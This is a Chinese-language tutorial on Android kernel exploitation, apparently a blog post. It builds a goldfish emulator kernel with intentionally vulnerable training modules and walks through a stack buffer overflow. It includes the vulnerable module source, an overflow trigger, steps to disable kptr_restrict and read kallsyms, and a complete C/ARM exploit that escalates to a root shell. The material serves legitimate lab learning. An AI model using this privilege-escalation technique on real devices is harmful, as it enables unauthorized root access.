Android的內核采用的是 Linux 內核,所以在A(yíng)ndroid 內核中進(jìn)行漏洞利用其實(shí)和在 一般的 x86平臺下的linux內核中進(jìn)行利用差不多。主要區別在于A(yíng)ndroid下使用的是arm匯編以及環(huán)境的搭建方面。本文對我最近的實(shí)踐做一個(gè)分享,其實(shí)很簡(jiǎn)單。
內核調試環(huán)境搭建
搭建平臺: ubuntu 16.04
這里使用android模擬器來(lái)進(jìn)行內核調試。首先下載內核代碼
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git
然后下載github上的一個(gè)安卓漏洞利用的項目,
git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges
然后使用項目中的patch文件把 patch 內核編譯配置,來(lái)把項目中的帶漏洞的模塊編譯進(jìn)linux內核
git am --signoff
cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities
這里注意: goldfish目錄和 kernel_exploit_challenges目錄要在同一目錄下
然后下載 arm-linux-androideabi-4.6交叉編譯工具鏈 。下載完成后把它解壓后,然后把它加到環(huán)境變量中
tar xvf arm-linux-androideabi-4.6.tar.bz2
export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH
然后進(jìn)入 goldfish目錄,開(kāi)始編譯
make goldfish_armv7_defconfig && make -j8
編譯完成后,就會(huì )有兩個(gè)主要的文件:goldfish/vmlinux 和 goldfish/arch/arm/boot/zImage。前面那個(gè)用于在調試時(shí)gdb加載,后面的用于在安卓模擬器啟動(dòng)時(shí)加載。
下面下載 安卓sdk, 用來(lái)下載和運行 安卓模擬器。
sdk下載地址: http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
然后把 sdk解壓
tar xvf android-sdk_r24.4.1-linux.tgz
把 android-sdk-linux/tools 加入環(huán)境變量,把下面的命令添加到 ~/.bashrc 的末尾
export PATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH
然后重新打開(kāi)一個(gè)shell, 使用下面的命令
android
然后把下面標注的兩個(gè)下載下來(lái)

下載完后。首先查看下載的鏡像文件
$android list targets
Available Android targets:
----------
id: 1 or "android-19"
Name: Android 4.4.2
Type: Platform
API level: 19
Revision: 4
Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in
然后創(chuàng )建 模擬器
android create avd --force -t "android-19" -n kernel_challenges
然后進(jìn)入 goldfish 目錄,使用下面的命令來(lái)使用我們的內核來(lái)運行模擬器,并在 1234 端口起一個(gè) gdbserver 來(lái)方便進(jìn)行 內核調試
emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
第一次運行有類(lèi)似的結果:
$ emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
WARNING: userdata image already in use, changes will not persist!
Creating filesystem with parameters:
Size: 576716800
Block size: 4096
Blocks per group: 32768
Inodes per group: 7040
Inode size: 256
Journal blocks: 2200
Label:
Blocks: 140800
Block groups: 5
Reserved block group size: 39
Created filesystem with 11/35200 inodes and 4536/140800 blocks
WARNING: cache image already in use, changes will not persist!
Creating filesystem with parameters:
Size: 69206016
Block size: 4096
Blocks per group: 32768
Inodes per group: 4224
Inode size: 256
Journal blocks: 1024
Label:
Blocks: 16896
Block groups: 1
Reserved block group size: 7
Created filesystem with 11/4224 inodes and 1302/16896 blocks
......................
......................
......................
為了便于后面的操作我們需要把 交叉編譯工具鏈 添加到環(huán)境變量里。把下面的命令添加到 ~/.bashrc 的末尾
export
PATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH
然后重新開(kāi)個(gè) shell, 進(jìn)入到 goldfish 目錄,加載 vmlinux 以便調試內核
arm-linux-androideabi-gdb vmlinux
如果一切正常,應該可以得到下面的類(lèi)似輸出
GNU gdb (GDB) 7.3.1-gg2
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=x86_64-apple-darwin --target=arm-linux-android".For bug reporting instructions, please see:
...
Reading symbols from /goldfish/vmlinux...done.
(gdb)
然后連接 模擬器里面的 調試端口
(gdb) target remote :1234
Remote debugging using :1234
cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:74
74movpc, lr
(gdb)
如果能看到這樣的輸出說(shuō)明已經(jīng)可以正常進(jìn)行內核調試了。
內核棧溢出漏洞利用
首先看看漏洞代碼, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:
#include
#include
#include
#include
#include
#include
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
char buf[MAX_LENGTH];
if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
return -EFAULT;
}
return count;
}
static int __init stack_buffer_proc_init(void)
{
stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);
stack_buffer_proc_entry->write_proc = proc_entry_write;
printk(KERN_INFO "created /proc/stack_buffer_overflow\n");
return 0;
}
static void __exit stack_buffer_proc_exit(void)
{
if (stack_buffer_proc_entry) {
remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
}
printk(KERN_INFO "vuln_stack_proc_entry removed\n");
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);
上述代碼會(huì )創(chuàng )建/proc/stack_buffer_overflow 設備文件 ,當向該設備文件調用 write
系統調用時(shí)會(huì )調用 proc_entry_write 函數進(jìn)行處理。漏洞顯而易見(jiàn),在 proc_entry_write 函數中 定義了一個(gè) 64 字節大小的棧緩沖區 buf, 然后使用 copy_from_user(&buf, ubuf, count) 從用戶(hù)空間 拷貝數據到 buf ,數據大小和內容均用戶(hù)可控。于是當我們輸入超過(guò)64字節時(shí)我們能夠覆蓋其他的數據,比如返回地址等,進(jìn)而劫持程序執行流到我們的 shellcode 中 進(jìn)行提權。
首先我們來(lái)試試觸發(fā)漏洞。先把模擬器打開(kāi),然后 adb shell 進(jìn)入模擬器,使用 echo 命令向 /proc/stack_buffer_overflow 設備輸入72字節的數據。
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow
可以看到 pc 寄存器的值 為 0x41414141 成功劫持。測試時(shí)該內核沒(méi)開(kāi) pxn ,所以我們可以在用戶(hù)態(tài)編寫(xiě)shellcode讓內核去執行。提取的方式很簡(jiǎn)單,內核態(tài)調用 commit_creds(prepare_kernel_cred(0)); 提升權限為 root, 然后返回 用戶(hù)態(tài) 執行 execl("/system/bin/sh", "sh", NULL); 起一個(gè) root 權限的 shell, 完成提權。下面先獲取 prepare_kernel_cred 和 commit_creds 函數的地址。在 /proc/kallsyms 文件中保存著(zhù)所有的內核符號的名稱(chēng)和它在內存中的位置。不過(guò)在最近的內核版本中,為了使利用內核漏洞變得更加困難,linux內核目前禁止一般用戶(hù)獲取符號。具體可以看這里。
當啟用 kptr_restrict 是我們不能獲取內核符號地址的。
root@generic:/ # cat /proc/kallsyms | grep commit_creds
00000000 T commit_creds
在本文中,把它禁用掉,不管他。
root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict
root@generic:/ # cat /proc/kallsyms | grep commit_creds
c0039834 T commit_creds
root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred
c0039d34 T prepare_kernel_cred
禁用掉之后,我們就可以通過(guò) /proc/kallsyms 獲取 commit_creds 和 prepare_kernel_cred的地址。
至此,提權的問(wèn)題解決了,下面就是要回到用戶(hù)態(tài),在x86平臺有 iret指令可以回到用戶(hù)態(tài),在arm下返回用戶(hù)態(tài)就更簡(jiǎn)單了。在arm下 cpsr 寄存器的 M[4:0] 位用來(lái)表示 處理器的運行模式,具體可以看這個(gè)。所以我們把 cpsr 寄存器的 M[4:0] 位設置為 10000后就表示 處理器進(jìn)入了用戶(hù)模式。
所以現在的利用思路是:
1.調用 commit_creds(prepare_kernel_cred(0)) 提升權限
2.調用 mov r3, #0x40000010; MSR CPSR_c,R3; 設置 cpsr寄存器,使cpu進(jìn)入用戶(hù)模式
3.然后執行 execl("/system/bin/sh", "sh", NULL); 起一個(gè) root 權限的 shell
最后的 exp :
#include
#include
#include
#include
#include
#define MAX 64
int open_file(void)
{
int fd = open("/proc/stack_buffer_overflow", O_RDWR);
if (fd == -1)
err(1, "open");
return fd;
}
void payload(void)
{
printf("[+] enjoy the shell\n");
execl("/system/bin/sh", "sh", NULL);
}
extern uint32_t shellCode[];
asm
(
" .text\n"
" .align 2\n"
" .code 32\n"
" .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr
"MOV R0, #0\n\t"
"BLX R3\n\t"
"LDR R3, =0xc0039834\n\t" //commit_creds addr
"BLX R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
"LDR R3, =0x879c\n\t" // payload function addr
"BLX R3\n\t"
);
void trigger_vuln(int fd)
{
#define MAX_PAYLOAD (MAX + 2 * sizeof(void*) )
char buf[MAX_PAYLOAD];
memset(buf, 'A', sizeof(buf));
void * pc = buf + MAX + 1 * sizeof(void*);
printf("shellcdoe addr: %p\n", shellCode);
printf("payload:%p\n", payload);
*(void **)pc = (void *) shellCode; //ret addr
/* Kaboom! */
write(fd, buf, sizeof(buf) );
}
int main(void)
{
int fd;
fd = open_file();
trigger_vuln(fd);
payload();
close(fd);
}